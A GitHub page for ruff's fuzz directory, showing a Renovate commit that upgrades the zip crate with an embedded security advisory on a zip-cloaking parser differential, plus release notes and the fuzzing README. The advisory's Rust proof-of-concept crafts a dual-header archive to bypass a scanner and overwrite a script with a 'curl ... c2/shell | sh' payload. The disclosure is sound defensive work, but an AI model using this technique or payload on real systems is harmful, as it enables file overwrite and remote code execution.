Files
renovate[bot]andBrent Westbrook fde7c6debc Update Rust crate zip to v9 (#29808)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [zip](https://redirect.github.com/zip-rs/zip2) |
workspace.dependencies | major | `8.0` → `9.0` |

---

### zip: Critical Parser Differential & Security Control Bypass via
Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File
Overwrite & RCE
[CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) /
[GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)

<details>
<summary>More information</summary>

#### Details
##### Summary
A critical architectural parser differential exists in the `zip` crate
(`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and
streaming readers (`ZipStreamReader`). `ZipArchive` considers the
Central Directory File Header (CDFH) authoritative and ignores the
filename declared in the Local File Header (LFH). In contrast,
`ZipStreamReader` relies exclusively on the Local File Header (LFH) when
extracting files to the filesystem.

This discrepancy enables ZIP archives to appear to have different file
paths and contents according to which tool is reading them.

---

##### Details

##### Architectural Root Cause
In the PKWARE ZIP archive format, every file entry is defined in two
distinct locations:
1. **Local File Header (LFH):** Precedes the compressed payload of each
file in the body of the archive.
2. **Central Directory File Header (CDFH):** Stored in a contiguous
index at the end of the archive.

In `zip2`:
- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory
into `SharedBuilder.files`. All file lookups by index or name read
exclusively from the CDFH table, completely ignoring the filename
present in the LFH.
- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and
`ZipStreamReader::extract` read sequentially from the stream without
verifying the central directory index. Each entry is parsed via
`read_zipfile_from_stream` and written to disk using the unverified
filename declared in the LFH:
  ```rust
  // src/read/stream.rs
fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) ->
ZipResult<()> {
file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_,
fn(&Path) -> bool)>)?;
      let mut outfile = fs::File::create(&outpath)?;
      io::copy(file, &mut outfile)?;
      Ok(())
  }
  ```
- `src/write.rs:L1552`: The crate explicitly exposes
`shallow_copy_file`, an API that constructs dual-header
desynchronizations by adding a new CDFH entry with an alias name
pointing to an existing file without updating the original LFH.

##### Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
1. **Security Control Evasion:** An adversary crafts a ZIP archive
where:
- Central Directory Header declares: `doc_report.pdf` (Clean document)
- Local File Header declares: `cron_worker.sh` (Malicious root backdoor)
2. The archive is uploaded through a web portal or API endpoint
protected by security gateways (WAF, Anti-Virus, Content Disarm &
Reconstruction). The security gateway inspects the archive using
`ZipArchive` (or similar CDFH-first parsers), detects only
`doc_report.pdf`, and approves the file.
3. The backend worker or cloud function receives the approved archive
and extracts it using `ZipStreamReader::extract`. `ZipStreamReader`
reads the LFH and overwrites `cron_worker.sh`.
4. **Full Compromise (CIA = High):** The legitimate production health
checker / service script is destroyed (**Availability = High / DoS**),
while the attacker's backdoor payload is implanted (**Integrity = High /
RCE**).

---

##### Proof of Concept
The following automated integration test reproducibly demonstrates the
complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion ->
Arbitrary File Overwrite -> RCE & DoS) against `zip2`:

```rust
use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
    for i in 0..archive.len() {
        let name = archive.by_index(i).unwrap().name().unwrap().to_string();
        if name.ends_with(".sh") || name.ends_with(".exe") {
            return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
        }
        if !name.ends_with(".pdf") {
            return Err("Policy violation: only PDFs allowed!".into());
        }
    }
    Ok(())
}

#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
    // 1. Victim server setup: existing critical script
    let victim_env = tempdir().unwrap();
    let victim_dir = victim_env.path();
    let target_script = victim_dir.join("cron_worker.sh");
    fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();

    // 2. Attacker crafts Single-Entry Dual-Header Archive
    // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
    let mut payload = Cursor::new(Vec::new());
    let mut writer = ZipWriter::new(&mut payload);
    writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
    writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
    writer.finish().unwrap();

    let mut malicious_zip = payload.into_inner();
    let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");

    // 3. Gateway Inspection (Bypassed!)
    assert!(security_gateway_inspection(&malicious_zip).is_ok());

    // 4. Backend Extraction (ZipStreamReader)
    ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();

    // 5. Impact Verification
    let compromised = fs::read_to_string(&target_script).unwrap();
    assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
    assert!(compromised.contains("PWNED ROOT"));       // RCE Confirmed
}
```

##### Verified Test Execution Output
```text
running 1 test
==================================================================
Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY

--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #&#8203;0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!

--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.

--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'
```

---

##### Impact
An attacker can construct a crafted archive whose Central Directory
displays a benign filename (doc_report.pdf) that is inspected and
approved by upstream security gateways (antivirus scanners, mail
filters, upload firewalls), while automated backend ingestion pipelines
or microservices using ZipStreamReader extract an arbitrary or malicious
file (overwriting e.g. cron_worker.sh or critical system binaries).
Because an adversary can overwrite existing files on disk, this
vulnerability leads to Security Control Bypass, Arbitrary File
Overwrite, Complete Denial of Service, and Remote Code Execution (RCE)
in situations where a tool relying on the central directory trusts a
tool that relied on the local file headers or vice-versa.

**Who is Impacted:**
- Automated ingestion microservices, SaaS platforms, and backend workers
that extract user-submitted ZIP files.
- Enterprise architectures where security verification (AV scanning,
extension whitelisting) is decoupled from extraction (e.g. gateway
audits Central Directory via CDFH before handing off extraction to
streaming extractors).
- Containerized workloads where overwriting local configuration files or
executable scripts leads to host/container escape and complete service
disruption.

#### Severity
- CVSS Score: 10.0 / 10 (Critical)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L`

#### References
-
[https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905)
-
[https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e](https://redirect.github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e)
-
[https://github.com/zip-rs/zip2/releases/tag/v9.0.5](https://redirect.github.com/zip-rs/zip2/releases/tag/v9.0.5)
-
[https://github.com/advisories/GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>zip-rs/zip2 (zip)</summary>

###
[`v9.0.5`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#905---2026-10-17)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.4...v9.0.5)

##### <!-- 1 -->🐛 Bug Fixes

- use mode_t for fchmodat's mode, which is u32 on NetBSD and OpenBSD
([#&#8203;1076](https://redirect.github.com/zip-rs/zip2/pull/1076))
- *(write)* prevent duplicate 0x9901 AES extra field in raw_copy_file
([#&#8203;1078](https://redirect.github.com/zip-rs/zip2/pull/1078))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Enable release-plz on backport branches in future
([#&#8203;1079](https://redirect.github.com/zip-rs/zip2/pull/1079))

###
[`v9.0.4`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#904---2026-10-16)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.3...v9.0.4)

##### <!-- 1 -->🐛 Bug Fixes

- enclosed_name rejects a separator inside one verbatim path component
([#&#8203;1066](https://redirect.github.com/zip-rs/zip2/pull/1066))
- return `Ok(None)` when read_zipfile_from_stream is called on an empty
archive
([#&#8203;1063](https://redirect.github.com/zip-rs/zip2/pull/1063))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Revert impl Copy for Zip64CentralDirectoryEndLocator due to failing
semver check, fix CI where most Miri tests weren't running, and other
fixes so other PRs can pass CI
([#&#8203;1065](https://redirect.github.com/zip-rs/zip2/pull/1065))
- update lzma-rust2 and ppmd-rust dependencies
([#&#8203;1060](https://redirect.github.com/zip-rs/zip2/pull/1060))

###
[`v9.0.3`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#903---2026-10-13)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/9.0.2...v9.0.3)

##### <!-- 1 -->🐛 Bug Fixes

- Preserve directories' read-only status when extracting on non-Unix
systems
([#&#8203;1054](https://redirect.github.com/zip-rs/zip2/pull/1054))

###
[`v9.0.2`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#902---2026-10-11)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.1...9.0.2)

##### <!-- 1 -->🐛 Bug Fixes

- additional bug fixes for symlink extraction

###
[`v9.0.1`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#901---2026-10-10)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v9.0.0...v9.0.1)

##### <!-- 1 -->🐛 Bug Fixes

- set_permissions was still following symlinks in non-streaming
extraction
([#&#8203;1038](https://redirect.github.com/zip-rs/zip2/pull/1038))
- two arithmetic overflows in the implode decoder
([#&#8203;1028](https://redirect.github.com/zip-rs/zip2/pull/1028))
- reject an empty archive whose central directory offset is past the
EOCD ([#&#8203;1025](https://redirect.github.com/zip-rs/zip2/pull/1025))
- don't panic when two entries extract to the same path
([#&#8203;1023](https://redirect.github.com/zip-rs/zip2/pull/1023))
- fail reads that exceed the declared uncompressed size
([#&#8203;1022](https://redirect.github.com/zip-rs/zip2/pull/1022))
- shrink decoder skipped LZW code 8191
([#&#8203;1029](https://redirect.github.com/zip-rs/zip2/pull/1029))
- write only the sentinel-marked values in a central ZIP64 field
([#&#8203;1027](https://redirect.github.com/zip-rs/zip2/pull/1027))

###
[`v9.0.0`](https://redirect.github.com/zip-rs/zip2/blob/HEAD/CHANGELOG.md#900---2026-10-08)

[Compare
Source](https://redirect.github.com/zip-rs/zip2/compare/v8.6.0...v9.0.0)

##### <!-- 0 -->🚀 Features

- add ZipFileBuilder for parallelizing compression
([#&#8203;911](https://redirect.github.com/zip-rs/zip2/pull/911))
- add method `by_index_with_data_descriptor`
([#&#8203;994](https://redirect.github.com/zip-rs/zip2/pull/994))
- add len, is_empty and entry to ZipArchiveMetadata
([#&#8203;1015](https://redirect.github.com/zip-rs/zip2/pull/1015))
- read data descriptor from binary
([#&#8203;990](https://redirect.github.com/zip-rs/zip2/pull/990))
- add comment and test for ZipStreamReader and symlinks
([#&#8203;985](https://redirect.github.com/zip-rs/zip2/pull/985))
- *(write)* add `ZipWriter::hide_file` for in-place entry deletion
([#&#8203;924](https://redirect.github.com/zip-rs/zip2/pull/924))
- add compression
([#&#8203;948](https://redirect.github.com/zip-rs/zip2/pull/948))
- add test to in place modification
([#&#8203;945](https://redirect.github.com/zip-rs/zip2/pull/945))
- move CustomExtraField to own file
([#&#8203;941](https://redirect.github.com/zip-rs/zip2/pull/941))
- add a test on enum size
([#&#8203;939](https://redirect.github.com/zip-rs/zip2/pull/939))
- use ZipFileEntry instead of ZipStreamFileMetadata
([#&#8203;935](https://redirect.github.com/zip-rs/zip2/pull/935))
- add ZipFileEntry with no Reader
([#&#8203;933](https://redirect.github.com/zip-rs/zip2/pull/933))
- change `aes_mode` to `aes_settings()` in ZipFileData
([#&#8203;925](https://redirect.github.com/zip-rs/zip2/pull/925))
- cleanup and harmonize extra fields
([#&#8203;923](https://redirect.github.com/zip-rs/zip2/pull/923))
- Rewrite zip64 extra
([#&#8203;913](https://redirect.github.com/zip-rs/zip2/pull/913))

##### <!-- 1 -->🐛 Bug Fixes

- reading an empty AES entry again at EOF returns Ok(0)
([#&#8203;1024](https://redirect.github.com/zip-rs/zip2/pull/1024))
- reject ZIP64 sizes that overflow u64 when computing data end offsets
([#&#8203;1036](https://redirect.github.com/zip-rs/zip2/pull/1036))
- apply central directory metadata in ZipStreamReader, only to written
entries
([#&#8203;1030](https://redirect.github.com/zip-rs/zip2/pull/1030))
- consume the whole extended timestamp field in the central header
([#&#8203;1016](https://redirect.github.com/zip-rs/zip2/pull/1016))
- parse the central header of the extended timestamp
([#&#8203;1002](https://redirect.github.com/zip-rs/zip2/pull/1002))
- don't pre-allocate the declared size in the legacy decoders
([#&#8203;991](https://redirect.github.com/zip-rs/zip2/pull/991))
- Symlink with very large declared size could lead to out-of-memory
panic ([#&#8203;984](https://redirect.github.com/zip-rs/zip2/pull/984))
- copy extra fields in raw_copy_file
([#&#8203;955](https://redirect.github.com/zip-rs/zip2/pull/955))
([#&#8203;982](https://redirect.github.com/zip-rs/zip2/pull/982))
- add unix_mode when copy_raw_file
([#&#8203;981](https://redirect.github.com/zip-rs/zip2/pull/981))
- rewrite documentation of add_symlink_from_path
([#&#8203;979](https://redirect.github.com/zip-rs/zip2/pull/979))
- ignore a ZIP64 extra field that no sentinel asked for
([#&#8203;962](https://redirect.github.com/zip-rs/zip2/pull/962))
- do not set data descriptor if directory
([#&#8203;973](https://redirect.github.com/zip-rs/zip2/pull/973))
- expose flags function for easier access
([#&#8203;972](https://redirect.github.com/zip-rs/zip2/pull/972))
- preserve unix permission in raw_copy_file
([#&#8203;956](https://redirect.github.com/zip-rs/zip2/pull/956))
- clippy warning on nightly
([#&#8203;960](https://redirect.github.com/zip-rs/zip2/pull/960))
- remove extra alloc used to copy
([#&#8203;938](https://redirect.github.com/zip-rs/zip2/pull/938))
- lazy allocation on error case
([#&#8203;937](https://redirect.github.com/zip-rs/zip2/pull/937))
- fix data alignment
([#&#8203;929](https://redirect.github.com/zip-rs/zip2/pull/929))

##### <!-- 2 -->🚜 Refactor

- move extract to own file
([#&#8203;1009](https://redirect.github.com/zip-rs/zip2/pull/1009))
- cleanup permissions related code
([#&#8203;961](https://redirect.github.com/zip-rs/zip2/pull/961))
- remove feature gate
([#&#8203;949](https://redirect.github.com/zip-rs/zip2/pull/949))
- create `ZipFileFlags` to wrap `flags`
([#&#8203;947](https://redirect.github.com/zip-rs/zip2/pull/947))
- remove unused trait
([#&#8203;946](https://redirect.github.com/zip-rs/zip2/pull/946))
- access `crate::format` with `zip::unstable::format`
([#&#8203;944](https://redirect.github.com/zip-rs/zip2/pull/944))
- harmonize functions to `format/functions.rs`
([#&#8203;943](https://redirect.github.com/zip-rs/zip2/pull/943))
- rewrite `make_reader()` function
([#&#8203;936](https://redirect.github.com/zip-rs/zip2/pull/936))
- simplify `initialize_local_block`
([#&#8203;934](https://redirect.github.com/zip-rs/zip2/pull/934))
- move write options to `write/options.rs`
([#&#8203;931](https://redirect.github.com/zip-rs/zip2/pull/931))
- move spec to format
([#&#8203;932](https://redirect.github.com/zip-rs/zip2/pull/932))
- move Magic to format
([#&#8203;930](https://redirect.github.com/zip-rs/zip2/pull/930))
- \[**breaking**] Remove ZipFileData::extra_data_start field that is
never read
([#&#8203;926](https://redirect.github.com/zip-rs/zip2/pull/926))

##### <!-- 7 -->⚙️ Miscellaneous Tasks

- Fix high-level symlink extraction logic, disable some tests in miri,
and fix some typos
([#&#8203;1035](https://redirect.github.com/zip-rs/zip2/pull/1035))

##### Fix

- some permissions tests can only run on Unix
([#&#8203;1000](https://redirect.github.com/zip-rs/zip2/pull/1000))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/ruff).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE4OC4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJpbnRlcm5hbCIsInNlY3VyaXR5Il19-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Brent Westbrook <brentrwestbrook@gmail.com>
2026-10-28 20:25:31 -04:00
..

ruff-fuzz

Fuzzers and associated utilities for automatic testing of Ruff.

Usage

To use the fuzzers provided in this directory, start by invoking:

./fuzz/init-fuzzer.sh

This will install cargo-fuzz and optionally download a dataset which improves the efficacy of the testing.

Note

This step is necessary for initialising the corpus directory, as all fuzzers share a common corpus.

The dataset may take several hours to download and clean, so if you're just looking to try out the fuzzers, skip the dataset download, though be warned that some features simply cannot be tested without it (very unlikely for the fuzzer to generate valid python code from "thin air").

Once you have initialised the fuzzers, you can then execute any fuzzer with:

uv run --only-dev cargo fuzz run -s none name_of_fuzzer -- -timeout=1

Note

Users using Apple M1 devices must use a nightly compiler and omit the -s none portion of this command, as this architecture does not support fuzzing without a sanitizer.

uv run --only-dev cargo +nightly fuzz run name_of_fuzzer -- -timeout=1

You can view the names of the available fuzzers with uv run --only-dev cargo fuzz list. For specific details about how each fuzzer works, please read this document in its entirety.

Note

Re-run ./init-fuzzer.sh (say no to the dataset download) after adding more file-based test cases to the repository. This will make sure that the corpus is up to date with any new Python code added to the repository.

Debugging a crash

Once you've found a crash, you'll need to debug it. The easiest first step in this process is to minimise the input such that the crash is still triggered with a smaller input. cargo-fuzz supports this out of the box with:

uv run --only-dev cargo fuzz tmin -s none name_of_fuzzer artifacts/name_of_fuzzer/crash-...

From here, you will need to analyse the input and potentially the behaviour of the program. The debugging process from here is unfortunately less well-defined, so you will need to apply some expertise here. Happy hunting!

A brief introduction to fuzzers

Fuzzing, or fuzz testing, is the process of providing generated data to a program under test. The most common variety of fuzzers are mutational fuzzers; given a set of existing inputs (a "corpus"), it will attempt to slightly change (or "mutate") these inputs into new inputs that cover parts of the code that haven't yet been observed. Using this strategy, we can quite efficiently generate testcases which cover significant portions of the program, both with expected and unexpected data. This is really quite effective for finding bugs.

The fuzzers here use cargo-fuzz, a utility which allows Rust to integrate with libFuzzer, the fuzzer library built into LLVM. Each source file present in fuzz_targets is a harness, which is, in effect, a unit test which can handle different inputs. When an input is provided to a harness, the harness processes this data and libFuzzer observes the code coverage and any special values used in comparisons over the course of the run. Special values are preserved for future mutations and inputs which cover new regions of code are added to the corpus.

Each fuzzer harness in detail

Each fuzzer harness in fuzz_targets targets a different aspect of Ruff and tests them in different ways. While there is implementation-specific documentation in the source code itself, each harness is briefly described below.

ty_check_invalid_syntax

This fuzz harness checks that the type checker (ty) does not panic when checking a source file with invalid syntax. This rejects any corpus entries that is already valid Python code. Currently, this is limited to syntax errors that's produced by Ruff's Python parser which means that it does not cover all possible syntax errors (https://github.com/astral-sh/ruff/issues/11934). A possible workaround for now would be to bypass the parser and run the type checker on all inputs regardless of syntax errors.

ruff_parse_simple

This fuzz harness does not perform any "smart" testing of Ruff; it merely checks that the parsing and unparsing of a particular input (what would normally be a source code file) does not crash. It also attempts to verify that the locations of tokens and errors identified do not fall in the middle of a UTF-8 code point, which may cause downstream panics. While this is unlikely to find any issues on its own, it executes very quickly and covers a large and diverse code region that may speed up the generation of inputs and therefore make a more valuable corpus quickly. It is particularly useful if you skip the dataset generation.

ruff_parse_idempotency

This fuzz harness checks that Ruff's parser is idempotent in order to check that it is not incorrectly parsing or unparsing an input. It can be built in two modes: default (where it is only checked that the parser does not enter an unstable state) or full idempotency (the parser is checked to ensure that it will always produce the same output after the first unparsing). Full idempotency mode can be used by enabling the full-idempotency feature when running the fuzzer, but this may be too strict of a restriction for initial testing.

ruff_fix_validity

This fuzz harness checks that fixes applied by Ruff do not introduce new errors using the existing ruff_linter::test::test_snippet testing utility. It currently is only configured to use default settings, but may be extended in future versions to test non-default linter settings.

ruff_formatter_idempotency

This fuzz harness ensures that the formatter is idempotent which detects possible unsteady states of Ruff's formatter.

ruff_formatter_validity

This fuzz harness checks that Ruff's formatter does not introduce new linter errors/warnings by linting once, counting the number of each error type, then formatting, then linting again and ensuring that the number of each error type does not increase across formats. This has the beneficial side effect of discovering cases where the linter does not discover a lint error when it should have due to a formatting inconsistency.